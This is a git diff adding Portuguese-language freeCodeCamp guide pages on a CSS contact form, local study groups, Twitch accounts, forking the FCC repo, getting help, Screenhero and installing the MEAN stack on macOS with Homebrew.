@@ -0,0 +1,141 @@
+---
+title: How to Create a Contact Form with CSS
+localeTitle: Como criar um formulário de contato com CSS
+---
+## Como criar um formulário de contato com CSS
+
+Primeiro, criamos os elementos HTML - campos de entrada para Primeiro Nome, Sobrenome, E-mail e uma Área de Texto para a mensagem.
+
+Mais tarde, aplicamos estilos CSS para tornar o formulário visualmente atraente.
+
+### A parte HTML
+
+A seção HTML tem um div com `container` classe com o cabeçalho `h3` " **Contact Form** "
+
+O formulário com o nome **contact\_form** contém campos de entrada para:
+
+*   Primeiro nome
+*   Último nome
+*   O email
+*   mensagem
+
+Um div com `center` classes para alinhar o centro de itens. Um tipo de `input` `submit` para enviar o formulário. O atributo `required` nos campos de texto é verificado quanto ao valor no envio.
+
+```html
+
+<div class="container"> 
+    <h3>Contact Form</h3> 
+    <form action="#" name="contact_form"> 
+        <label for="first_name">First Name</label> 
+        <input name="first_name" type="text" required placeholder="John"/> 
+        <br> 
+        <label for="last_name">Last Name</label> 
+        <input name="last_name" type="text" required placeholder="Doe"/> 
+        <br> 
+        <label for="email">Email</label> 
+        <input name="email" type="email" required placeholder="you@domain.com"/> 
+        <br> 
+        <label for="message">Message</label><br> 
+        <textarea name="message" cols="30" rows="10" placeholder="Enter your message here ..." required> </textarea> 
+        <div class="center"> 
+            <input type="submit" value="Submit"> 
+        </div> 
+    </form> 
+ </div> 
+```
+
+### A parte do CSS
+
+```css
+/* Importing the Roboto font from Google Fonts. */ 
+ @import url("https://fonts.googleapis.com/css?family=Roboto:400"); 
+ 
+ /* Set font of all elements to 'Roboto' */ 
+ * { 
+    font-family: 'Roboto', sans-serif; 
+    font-weight: 400; 
+ } 
+ 
+ /* Remove outline of all elements on focus */ 
+ *:focus { 
+    outline: 0; 
+ } 
+ 
+ body { 
+    background: #263238;  /* Set background color to #263238*/ 
+ } 
+ 
+ h3 { 
+    text-align: center; 
+ } 
+ 
+ /* Add styles to 'container' class */ 
+ .container { 
+    padding: 12px 24px 24px 24px; 
+    margin: 48px 12px; 
+    background: #E3F2FD; 
+    border-radius: 4px; 
+ } 
+ 
+ /* Add styles to 'label' selector */ 
+ label { 
+    font-size: 0.85em; 
+    margin-left: 12px; 
+ } 
+ 
+ /* Add styles to 'input' and 'textarea' selectors */ 
+ input[type=text],input[type=email], textarea { 
+    width: 100%; 
+    padding: 12px; 
+    border: 1px solid #ccc; 
+    border-radius: 4px; 
+    box-sizing: border-box; 
+    margin-top: 6px; 
+    margin-bottom: 16px; 
+    resize: vertical; 
+ } 
+ 
+ /* Add styles to show 'focus' of selector */ 
+ input[type=text]:focus,input[type=email]:focus, textarea:focus { 
+    border: 1px solid green; 
+ } 
+ 
+ /* Add styles to the submit button */ 
+ input[type=submit] { 
+    background: #64B5F6; 
+    margin: 0 auto; 
+    outline: 0; 
+    color: white; 
+    border: 0; 
+    padding: 12px 24px; 
+    border-radius: 4px; 
+    transition: all ease-in-out 0.1s; 
+    position: relative; 
+    display: inline-block; 
+    text-align: center; 
+ } 
+ 
+ /* Add styles for 'focus' property */ 
+ input[type=submit]:focus { 
+    background: #A5D6A7; 
+    color: whitesmoke; 
+ } 
+ 
+ /* Style 'hover' property */ 
+ input[type=submit]:hover { 
+    background: #2196F3; 
+ } 
+ 
+ /* Align items to center of the 'div' with the class 'center' */ 
+ .center { 
+    text-align: center; 
+ } 
+```
+
+### Saída
+
+![FreeCodeCamp / guides - Formulário de Contato](http://res.cloudinary.com/crack-jack/image/upload/v1508434398/FCC_Github_Contact_form.png)
+
+### Mais Informações:
+
+Visite o [FreeCodeCamp - Contact Form](https://codepen.io/rakhi2104/pen/QqYOoe/) on [Codepen.io](https://codepen.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md b/client/src/guide/portuguese/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..b4b59d4c07
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create a Dropdown Menu with CSS and JavaScript
+localeTitle: Como criar um menu suspenso com CSS e JavaScript
+---
+## Como criar um menu suspenso com CSS e JavaScript
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-create-a-local-study-group/index.md b/client/src/guide/portuguese/miscellaneous/how-to-create-a-local-study-group/index.md
new file mode 100644
index 0000000000..6af315c98c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-create-a-local-study-group/index.md
@@ -0,0 +1,80 @@
+---
+title: How to Create a Local Study Group
+localeTitle: Como criar um grupo de estudo local
+---
+Se você não viu sua cidade em [nossa lista de grupos de estudos](https://www.freecodecamp.com/study-group-directory/) e está disposto a liderar um grupo de estudos para sua cidade, siga as instruções abaixo.
+
+Isso também se aplica à criação de grupos menores e mais coesos para bairros e distritos dentro da mesma cidade. Assim, os grupos devem idealmente representar áreas onde seus membros não tenham que se deslocar por mais de 15 a 20 minutos para se encontrarem.  
+No entanto, esteja ciente de que as pessoas podem querer participar de outros lugares, já que podem querer se mudar para lá ou ver seu grupo como uma boa fonte de recursos e feedback, etc.
+
+**Por favor, não crie grupos para um estado / província / departamento / município / etc. como eles não serão adicionados à lista.**
+
+Supondo que você já tenha entrado no Facebook:  
+0 (opcional) Ao criar o grupo, você precisará adicionar pelo menos uma pessoa. Você poderia adicionar [Justin](https://www.facebook.com/FCC.GroupChancellor) como um amigo, que é responsável pelos grupos locais do freeCodeCamp e pode **ajudá-lo a gerenciar seus membros, eventos e quaisquer problemas que possam surgir (como spammers, etc.)** .  
+Além disso, ele provavelmente não será capaz de ver qualquer mensagem que você possa enviar até que você o "amigo".
+
+Agora, para a parte divertida! É fácil, basta seguir estes passos:
+
+1.  Clique na seta para baixo no canto superior direito da tela e escolha "Criar grupo" nas opções.
+
+![Uma captura de tela do Facebook mostrando o menu suspenso que aparece quando você clica na seta para baixo, com uma seta apontando para a opção "Criar grupo"](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9b58a494046871476342efb4b2e8d09426f7f9e3.png)
+
+2 Defina o nome do grupo como "freeCodeCamp" + o nome da sua cidade.
+
+*   Evite usar termos de gíria como "Filadélfia" para "Filadélfia".
+*   Se sua cidade não é a maior cidade que usa seu nome, inclua também o estado ou a província. Por exemplo, o grupo freeCodeCamp em Paris, França, deve ser chamado de "freeCodeCamp Paris". O grupo freeCodeCamp em Paris, Texas, deve ser chamado de "freeCodeCamp Paris, TX".
+*   Se você estiver na América do Norte, sugerimos que você adicione as iniciais do seu estado / província aqui.
+
+3 Defina seu grupo para público.
+
+![Uma captura de tela do módulo de criação de grupos do Facebook dizendo que o nome do seu grupo deve ser freeCodeCamp mais o nome da sua cidade, que seu grupo deve ser público e que você precisa convidar pelo menos um amigo do Facebook.](//discourse-user-assets.s3.amazonaws.com/original/3X/e/4/e49fe1e0a5b675c80dc4313252a5f92fd866472c.png)
+
+4 Escolha o ícone da tampa da graduação para indicar que esse grupo está relacionado à educação.
+
+![Uma captura de tela dizendo para você escolher o ícone de graduação, que está na quarta fileira de ícones, sete ícones da esquerda.](//discourse-user-assets.s3.amazonaws.com/original/2X/f/fc5d4406b8e794fb973178aeffb281d8e344fea4.png)
+
+5 Clique no menu "…" e, em seguida, clique em "Editar configurações do grupo" no menu suspenso.
+
+![uma captura de tela dizendo para você clicar no botão "…" e escolher a opção "Editar configurações do grupo"](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2e6b9e8129a42aba871442045da24686a1a63765.png)
+
+6 Defina a configuração de privacidade do grupo para público.
+
+7 Defina a aprovação de associação do seu grupo para onde qualquer membro pode adicionar ou aprovar membros
+
+![uma captura de tela mostrando o painel de configurações do Facebook e onde você pode clicar para definir o grupo como público e permitir que todos os membros possam adicionar ou aprovar membros](//discourse-user-assets.s3.amazonaws.com/original/3X/6/a/6a2735dbb63f052109e06a21baf64d5e818e2dbc.png)
+
+8 Clique no botão "Personalizar endereço".
+
+9 Digite "free.code.camp.your.city" com cada palavra separada por pontos.  
+Exemplos:  
+![:white_check_mark:](https://forum.freecodecamp.com/images/emoji/emoji_one/white_check_mark.png?v=3 ": white_check_mark:") **free.code.camp.london**  
+![:white_check_mark:](https://forum.freecodecamp.com/images/emoji/emoji_one/white_check_mark.png?v=3 ": white_check_mark:") **freecodecamp.london**  
+![:x:](https://forum.freecodecamp.com/images/emoji/emoji_one/x.png?v=3 ": x:") **free.code.camp.your.london**  
+![:x:](https://forum.freecodecamp.com/images/emoji/emoji_one/x.png?v=3 ": x:") **free.code.camp.your.city.london**
+
+![uma imagem de tela dizendo para você inserir freecodecamp.yourcity com cada palavra separada por pontos.](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b06ad3f1b9d91f9dd9aba828bdd699677725d130.png)
+
+10 Por favor, sinta-se livre para personalizar a descrição do seu grupo local, mas não se esqueça de incluir um link para freeCodeCamp: `https://freecodecamp.com` . Torna muito mais fácil para possíveis novos membros encontrá-lo se você mencionar o país em que sua cidade se encontra (ou seu estado / província se na América do Norte).
+
+Além disso, tenha em mente se os seus habitantes não falam inglês fluentemente e, portanto, ter um grupo em sua própria língua pode fazer um trabalho melhor ao inspirá-los a participar. Queremos que todos se sintam à vontade, e a codificação pode ser difícil o suficiente sem ter a pressão de ter que falar uma língua diferente em cima dela.
+
+![Uma captura de tela mostrando a caixa de descrição do grupo na página do Facebook.](//discourse-user-assets.s3.amazonaws.com/original/3X/8/c/8c68d711a85d5089b28d927665db3a6d6cf7ca40.png)
+
+11 Clique no botão "Carregar uma foto. Para começar, você provavelmente só vai querer usar o banner do freeCodeCamp (faça o download [aqui](https://github.com/FreeCodeCamp/wiki/blob/master/deprecated%20wiki/images/FCC-FBbanner.png) ), ou uma foto panorâmica da sua cidade. Mais tarde você pode atualizá-lo com uma foto do freeCodeCamp de sua cidade eventos.
+
+Alternativamente, Justin sendo seu administrador assistente, você pode pedir-lhe para adicionar o logotipo de seu álbum de fotos para você.
+
+\[ ![Uma captura de tela mostrando o botão "Enviar uma foto".](//discourse-user-assets.s3.amazonaws.com/original/2X/2/26006223f5f5b1c154496452037049be1a795d68.png)
+
+12 Se você ainda não o **fez** , **certifique-se de adicionar [Justin](https://www.facebook.com/FCC.GroupChancellor) ao seu grupo e, em seguida, faça dele um administrador adicional** para que ele possa adicioná-lo à lista oficial - você poderá fazer isso depois de adicioná-lo, na seção de membros, clicando em no ícone de engrenagem ao lado de seu nome.  
+Não há necessidade de "amigo dele", se você não fez isso no passo 0. Basta enviar-lhe uma mensagem privada com o link para o seu grupo e ele vai participar sozinho.  
+_Não se preocupe, o grupo ainda é 100% seu, pois ele estará apenas te ajudando em segundo plano._
+
+Como explicado anteriormente, Justin é responsável pelos grupos locais do freeCodeCamp e você sempre pode enviar uma mensagem particular a ele se tiver mais dúvidas ou precisar de ajuda com algo relacionado a um grupo.
+
+13 E, finalmente, junte-se ao nosso [grupo de Líderes Locais no Facebook](https://www.facebook.com/groups/freecodecampers/) , onde compartilhamos ideias sobre como envolver os participantes em sua cidade.
+
+**Dicas adicionais:**
+
+*   Leia [este artigo](https://medium.freecodecamp.com/jump-start-your-local-campsite-with-coffee-and-code-a8d1a57d30e#) e veja se você pode configurar a primeira sessão de café e código do seu grupo.
+*   Algumas [ideias para](https://medium.freecodecamp.com/growth-hacking-your-free-code-camp-group-8cf76300a5d1#) envolver [mais pessoas](https://medium.freecodecamp.com/growth-hacking-your-free-code-camp-group-8cf76300a5d1#) no seu grupo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-create-a-twitch-account/index.md b/client/src/guide/portuguese/miscellaneous/how-to-create-a-twitch-account/index.md
new file mode 100644
index 0000000000..e21f89507d
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-create-a-twitch-account/index.md
@@ -0,0 +1,47 @@
+---
+title: How to Create a Twitch Account
+localeTitle: Como criar uma conta do Twitch
+---
+# O que é o Twitch?
+
+O Twitch é uma plataforma de streaming de vídeo ao vivo que foi fundada em junho de 2011. Mais de 2 milhões de pessoas transmitem no Twitch a cada mês com mais de 100 milhões de visitantes únicos.
+
+## Configurando sua conta do Twitch
+
+Criar uma conta com o Twitch permite que você interaja com o bate-papo, receba alertas quando alguém que você conhece transmite e talvez até mesmo transmita.
+
+1.  Clique aqui para [criar uma nova conta](https://www.twitch.tv/signup) .
+    
+2.  Agora você deve escolher um nome de usuário e senha apropriados.
+    
+
+> ![usuário e senha](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e00617420bb5e757ea3120960c8a99f2b17c230d.gif)
+
+1.  Em seguida, envie sua data de nascimento e seu endereço de e-mail.
+
+> É importante que você forneça um endereço de e-mail correto, pois você precisará disso mais tarde para verificar sua conta e receber alertas quando alguém for publicado.
+
+1.  Agora tudo que você precisa fazer é completar o captcha e você está pronto para o rock!
+    
+2.  Depois de se inscrever, você receberá um e-mail sobre a confirmação da sua conta.
+    
+
+### Alterando algumas configurações
+
+Depois de logado, vá para a [página de configurações](https://www.twitch.tv/settings) .
+
+Nesta página você pode alterar sua foto de perfil, endereço de e-mail e escrever uma biografia. Infelizmente, o Twitch não permite que você altere seu nome de usuário depois de se inscrever. No entanto, você pode alterar a capitalização.
+
+## Seguindo FreeCodeCamp
+
+### No momento, estamos nos afastando do uso do Twitch, atualizaremos esta página quando os detalhes forem finalizados.
+
+Para acompanhar o FreeCodeCamp no Twitch, acesse nossa [página de canais](https://www.twitch.tv/freecodecamp/profile) . Pressione o botão follow e ative os alertas como mostrado abaixo. Agora você receberá um e-mail toda vez que o FreeCodeCamp for ativado.
+
+> ![seguindo freecodecamp](//discourse-user-assets.s3.amazonaws.com/original/2X/6/6ac2df7b5472a8c530b1feea677a315fdad2eea2.gif)
+
+### Assistindo transmissões anteriores
+
+Se não estivermos ao vivo, você pode assistir alguns dos nossos fluxos anteriores. As transmissões passadas são salvas apenas por 14 dias depois de serem originalmente transmitidas, portanto, isso é claro.
+
+> ![mostrando transmissões passadas](https://i.gyazo.com/976a213442b0a2541b90ae37f38ff043.gif)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md b/client/src/guide/portuguese/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md
new file mode 100644
index 0000000000..f7eee97b8e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-fork-and-maintain-a-local-instance-of-free-code-camp-on-mac-and-linux/index.md
@@ -0,0 +1,74 @@
+---
+title: How to Fork and Maintain a Local Instance of Free Code Camp on Mac and Linux
+localeTitle: Como bifurcar e manter uma instância local do Free Code Camp no Mac e no Linux
+---
+Se você planeja escrever uma solicitação de pull para o Free Code Camp , você quase certamente precisará de uma cópia local do site. Ter uma cópia local do site lhe dará capacidade adicional com o Git que não está disponível através da interface do navegador do GitHub, incluindo a atualização de suas confirmações de fork e rebasing / squashing.
+
+Este guia abordará como bifurcar o projeto da FCC, clonar uma cópia local e como manter seu fork. Todos os comandos do Git serão dados para a linha de comando, o que nós recomendamos fortemente que você use, mas a maioria dos comandos também pode ser executada em um ambiente gráfico do Git.
+
+Se você estiver usando o Windows, [use este guia](https://forum.freecodecamp.com/t/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/19366) .
+
+## Preciso de ajuda?
+
+O Free Code Camp Issue Mods e a equipe estão à disposição para ajudar com os problemas relacionados à Solicitação de Pull em nossa [sala de bate-papo de Colaboradores de Ajuda.](https://gitter.im/FreeCodeCamp/HelpContributors)
+
+## Configurando seu sistema
+
+1.  Instale o [Git](https://git-scm.com/) ou seu cliente favorito do Git
+2.  (Opcional) [Configure uma chave SSH](https://help.github.com/articles/generating-ssh-keys/) para o Github.  
+    Usar o SSH pode acelerar bastante suas interações com o GitHub, já que você não será solicitado a fornecer sua senha.
+3.  Crie um diretório de projetos pai em seu sistema. Para os fins deste documento, vamos assumir que é `/mean/`
+
+## Acampamento de código livre de bifurcação
+
+1.  Navegue até o repositório Free Code Camp de nível superior: `https://github.com/FreeCodeCamp/freecodecamp`
+2.  Clique no botão "Fork" no canto superior direito da interface. [Mais detalhes aqui](https://help.github.com/articles/fork-a-repo/) .
+3.  Depois que o projeto for bifurcado, você será levado à sua cópia do `username/freecodecamp` da FCC em `username/freecodecamp`
+
+## Clonando seu garfo
+
+1.  De sua bifurcação da FCC, copie o URL clone HTTPS ou SSH (se você instalou as chaves SSH)
+2.  Abra um Bash Shell / Linha de Comando / Terminal no seu diretório de projetos (IE: `/mean/` )
+3.  Clone seu garfo de git:
+
+`git clone https://github.com/yourUserName/FreeCodeCamp.git`
+
+Isso fará o download de todo o repositório da FCC para o diretório de projetos.
+
+`bash $ git clone https://github.com/yourUserName/FreeCodeCamp.git Cloning into 'FreeCodeCamp'... remote: Counting objects: 37294, done. remote: Compressing objects: 100% (13/13), done. remote: Total 37294 (delta 5), reused 0 (delta 0), pack-reused 37281 Receiving objects: 100% (37294/37294), 18.69 MiB | 3.99 MiB/s, done. Resolving deltas: 100% (26053/26053), done. Checking connectivity... done. Checking out files: 100% (573/573), done.`
+
+### Configurando seu Upstream
+
+1.  Altere o diretório para o novo diretório `FreeCodeCamp`
+2.  Adicione um controle remoto ao repositório oficial da FCC:
+
+`git remote add upstream https://github.com/FreeCodeCamp/FreeCodeCamp.git`
+
+Parabéns, agora você tem uma cópia local do repositório da FCC!
+
+## Mantendo seu garfo
+
+Agora que você tem uma cópia do seu fork, há um trabalho que você precisará fazer para mantê-lo atualizado.
+
+## Rebasing de Upstream
+
+Faça isso toda vez antes de criar uma ramificação para um PR:
+
+1.  Verifique se você está no ramo de `staging`
+
+`bash $ git status On branch staging Your branch is up-to-date with 'origin/staging'.`
+
+1.  Se você não estiver no staging, resolva quaisquer arquivos / commits pendentes e faça o checkout staging  
+    `git checkout staging`
+2.  Faça um pull com rebase contra o `upstream` :
+
+`git pull --rebase upstream staging`
+
+Isto irá puxar para baixo todas as mudanças na versão oficial sem fazer um commit adicional em seu repositório local.  
+4\. (Opcional) Forçar o push de sua atualização para o seu garfo do GitHub
+
+`git push origin staging --force`
+
+Isto irá sobrescrever o ramo de teste no seu garfo.
+
+`bash $ git push origin staging --force Counting objects: 99, done. Delta compression using up to 12 threads. Compressing objects: 100% (38/38), done. Writing objects: 100% (38/38), 16.14 KiB | 0 bytes/s, done. Total 38 (delta 25), reused 0 (delta 0) To git@github.com:yourUserName/FreeCodeCamp.git f7a525c..8a2271d staging -> staging`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-get-help-on-gitter/index.md b/client/src/guide/portuguese/miscellaneous/how-to-get-help-on-gitter/index.md
new file mode 100644
index 0000000000..e3ea989979
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-get-help-on-gitter/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Get Help on Gitter
+localeTitle: Como obter ajuda no Gitter
+---
+Desculpe, você está preso. Felizmente, há muitos campistas que ficam na Gitter e podem ajudá-lo a resolver a maioria dos problemas! Siga estes passos simples para obter ajuda rapidamente:
+
+1.  Vá para a [sala de ajuda](https://gitter.im/FreeCodeCamp/Help)
+    
+    *   Se o problema estiver relacionado ao código, cole o código problemático na sala de bate-papo com a [formatação correta](http://forum.freecodecamp.com/t/markdown-code-formatting/18391) e uma descrição do problema.
+    *   Se o problema parece estar no próprio site, poste uma captura de tela do problema ou descreva-o bem.
+2.  Lembre-se que as pessoas lá são campistas como você, então seja cortês!
+    
+3.  Se o seu problema confundiu todos em Gitter, tente [Pesquisar o seu problema no Github](http://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390) para qualquer pessoa que tenha postado sobre um problema semelhante.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-get-help-when-you-are-stuck/index.md b/client/src/guide/portuguese/miscellaneous/how-to-get-help-when-you-are-stuck/index.md
new file mode 100644
index 0000000000..981eec625d
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-get-help-when-you-are-stuck/index.md
@@ -0,0 +1,15 @@
+---
+title: How to Get Help When You Are Stuck
+localeTitle: Como obter ajuda quando você está preso
+---
+Quando você ficar preso, lembre-se: Read-Search-Ask.
+
+1.  **Leia** a documentação ou erro
+2.  **Pesquisar no** Google
+3.  **Peça** ajuda aos seus amigos
+
+Esta é a maneira mais eficiente de lidar com o fato de ficar preso, e é também o mais respeitoso do tempo das outras pessoas.
+
+Na maioria das vezes, você resolverá seu problema após apenas um ou dois passos deste algoritmo.
+
+Temos uma sala de chat especial apenas para obter ajuda: [https://gitter.im/freecodecamp/help/](https://gitter.im/freecodecamp/help/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-install-clementinejs/index.md b/client/src/guide/portuguese/miscellaneous/how-to-install-clementinejs/index.md
new file mode 100644
index 0000000000..5bf2f7689b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-install-clementinejs/index.md
@@ -0,0 +1,7 @@
+---
+title: How to Install Clementinejs
+localeTitle: Como instalar o Clementinejs
+---
+O Clementine.js é um clichê do Node adaptado para os campistas do FCC. As instruções de instalação atualizadas para os três principais sistemas operacionais (Windows, OS X e Linux) podem ser encontradas em:
+
+[http://www.clementinejs.com/versions/fcc.html](http://www.clementinejs.com/versions/fcc.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-install-screenhero/index.md b/client/src/guide/portuguese/miscellaneous/how-to-install-screenhero/index.md
new file mode 100644
index 0000000000..227686a63c
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-install-screenhero/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Install Screenhero
+localeTitle: Como instalar o Screenhero
+---
+[Download para Mac](http://links.screenhero.com/e/c/eyJlbWFpbF9pZCI6Ik1qQTNNem9XQkNJQ1pBQUNjd0FYQVZrVEdnRkxNamtfX0JWZEdGVEpSZkVCWlRwbFpXRTBNamM0WVMxaE56SmlMVEV4WlRRdE9HUXpZUzFpWXpVNE1HRTJNalkxTldNNk1UUTJNVEEyQUE9PSIsInBvc2l0aW9uIjowLCJocmVmIjoiaHR0cDovL2RsLnNjcmVlbmhlcm8uY29tL3NtYXJ0ZG93bmxvYWQvZklYQU1UUUJBTEtQQkhQTC9TY3JlZW5oZXJvLnppcD9zb3VyY2U9d2ViIn0=)
+
+[Download para Windows](http://links.screenhero.com/e/c/eyJlbWFpbF9pZCI6Ik1qQTNNem9XQkNJQ1pBQUNjd0FYQVZrVEdnRkxNamtfX0JWZEdGVEpSZkVCWlRwbFpXRTBNamM0WVMxaE56SmlMVEV4WlRRdE9HUXpZUzFpWXpVNE1HRTJNalkxTldNNk1UUTJNVEEyQUE9PSIsInBvc2l0aW9uIjoxLCJocmVmIjoiaHR0cDovL2RsLnNjcmVlbmhlcm8uY29tL3NtYXJ0ZG93bmxvYWQvZklYQU1UUUJBTEtQQkhQTC9TY3JlZW5oZXJvLXNldHVwLmV4ZSJ9)
+
+Você pode usar o Screen Hero para emparelhar o programa com os amigos que você faz nas salas de chat e no fórum do Free Code Camp.
+
+Observe que você deve criar sua conta do Screen Hero a partir do aplicativo depois de instalá-lo. Caso contrário, se você tentar criar uma conta no site da Screen Hero, eles não o deixarão sem um convite.
+
+## Software alternativo
+
+Aqui estão outras alternativas para Screenhero, como sugerido pelos nossos colegas campistas:
+
+*   [TeamViewer](https://www.teamviewer.com) (também funciona para Linux)
+*   [Skype](https://www.skype.com) + [ScreenLeap](https://www.screenleap.com/)
+*   [Codeshare.io](https://codeshare.io/)
+*   [Kobra.io](https://kobra.io/)
+*   [Hangouts do Google](https://hangouts.google.com/)
+*   [Jsbin](https://jsbin.com/)
+*   [JSFiddle](https://jsfiddle.net/)
+*   [Cloud 9](https://c9.io)
+*   [Appear.in](https://appear.in)
+*   [Floobits](https://floobits.com/)
+*   [tmate](https://tmate.io) + uma ferramenta de comunicação, por exemplo, [Google Hangouts](https://hangouts.google.com/) , [Skype](https://www.skype.com) , [appear.in](https://appear.in)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md b/client/src/guide/portuguese/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md
new file mode 100644
index 0000000000..7d65cd503b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/how-to-install-the-mean-stack-on-mac-osx/index.md
@@ -0,0 +1,117 @@
+---
+title: How to Install the Mean Stack on Mac Osx
+localeTitle: Como instalar a pilha média no Mac Osx
+---
+Para instalar o MongoDB, você deve ter o Mac OS X 10.6 (Snow Leopard) ou superior. Para descobrir qual versão do OS X você possui, clique no ícone in no canto superior esquerdo da tela e selecione `About This Mac` .
+
+![:warning:](//forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=2 ":Aviso:") **AVISO:** faça um backup do Time Machine antes de executar qualquer uma das etapas a seguir!
+
+## Etapa 1: instalando o MongoDB
+
+A maneira mais fácil de instalar o MongoDB no OS X é usando o [HomeBrew](http://brew.sh/) . Se você não usou o HomeBrew antes, simplesmente execute o seguinte comando em uma janela do Terminal:
+```
+ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 
+```
+
+Depois que o HomeBrew for instalado com sucesso, siga com este comando:
+```
+brew update && brew install mongodb 
+```
+
+A HomeBrew instalará automaticamente todas as dependências para você.
+
+## Etapa 2: instalando o Node.js
+
+Mais uma vez, vamos deixar o HomeBrew fazer o trabalho pesado:
+```
+brew install node 
+```
+
+O executável do npm já está incluído no pacote Node.js.
+
+Antes de continuar, vamos ter certeza de que os módulos do Node.js podem ser encontrados por outras pessoas ( ![:warning:](//forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=2 ":Aviso:") **CUIDADO** : é melhor copiar e colar esses comandos, pois você perderia o conteúdo original do seu arquivo `.bashrc` se você digitasse `>` no lugar de `>>` ):
+```
+echo 'export NODE_PATH="./node_modules:/usr/local/lib/node_modules"' >> ~/.bashrc && source ~/.bashrc 
+```
+
+Para verificar se a configuração está em vigor, execute:
+```
+echo $NODE_PATH 
+```
+
+Você deve ver `./node_modules:/usr/local/lib/node_modules` impresso abaixo do seu comando.
+
+Se você usa um shell diferente do Bash, simplesmente substitua `~/.bashrc` pelo seu arquivo de configuração do shell.
+
+## Etapa 3: instalando ferramentas fullstack
+```
+npm install -g express yo grunt grunt-cli generator-angular-fullstack bower 
+```
+
+## Etapa 4: gerar um aplicativo fullstack
+
+Crie um diretório para seus projetos de projeto de back-end. Assumindo que sua área de trabalho é seu espaço de trabalho de fato:
+```
+mkdir ~/Desktop/Back End Projects && cd ~/Desktop/Back End Projects 
+```
+
+Agora que todos os preparativos estão prontos, é hora do evento principal:
+```
+yo angular-fullstack 
+```
+
+Responda as perguntas de acordo com os itens 13 a 23 do [Desafio](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects) da Lista de Verificação [: Prepare-se para projetos de back-end](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects) . Consulte \# 24-27 se você encontrar erros. Isso fará o download de ~ 350 MB de arquivos em seu diretório atual.
+
+Antes de prosseguir, precisamos consertar um [problema conhecido](https://github.com/clnhll/guidetobasejumps#fixing-exportsupdate) em alguns arquivos gerados:
+```
+echo "sed -i '' -e 's/_.merge/_.extend/' server/api/*/*.controller.js" > \ 
+ fix-exports-update.sh && chmod +x fix-exports-update.sh && \ 
+ ./fix-exports-update.sh 
+```
+
+Você precisa executar `./fix-exports-update.sh` toda vez que gerar um novo endpoint da API (até que eles corrijam esse upstream, isto é).
+
+## Etapa 5: inicializando o repositório Git local
+
+Diga ao Git para não rastrear seu banco de dados:
+```
+echo "data" >> .gitignore 
+```
+
+Transforme o diretório em que seu aplicativo está localizado em um repositório Git executando os seguintes comandos:
+```
+git init && git add . && git commit -am 'initial commit' 
+```
+
+## Etapa 6: iniciando o MongoDB
+
+Para iniciar o MongoDB pela primeira vez no diretório do seu aplicativo, execute os seguintes comandos no seu terminal:
+```
+mkdir data && echo 'mongod --config /usr/local/etc/mongod.conf --dbpath=data --rest "$@" --httpinterface' > mongod.sh && chmod a+x mongod.sh && ./mongod.sh 
+```
+
+A partir deste ponto, você pode simplesmente iniciar o MongoDB executando `./mongod.sh` . Algumas coisas a notar:
+
+*   O arquivo `.conf` direciona o `mongod` para gravar mensagens em um arquivo de log em vez de stdout. Para visualizar o log, execute o seguinte em uma guia Terminal separada: `less /usr/local/var/log/mongodb/mongo.log` .
+*   Como não estamos no Cloud9, não precisamos da opção `--nojournal` . O `mongod` diário permite recuperar o banco de dados em caso de falha de um `mongod` .
+*   Você tem que fazer um banco de dados limpo para cada projeto. Se você copiou o diretório de `data` de um projeto anterior, o `mongod` não será iniciado. Se esse for o caso, apenas `rm -rf data && mkdir data && ./mongod.sh` .
+
+## Passo 7: começando o Grunt
+
+Abra uma nova guia Terminal pressionando `⌘T` e execute o seguinte comando:
+```
+grunt serve 
+```
+
+O Grunt deve abrir automaticamente a nova página de índice do site Angular assim que terminar de iniciar.
+
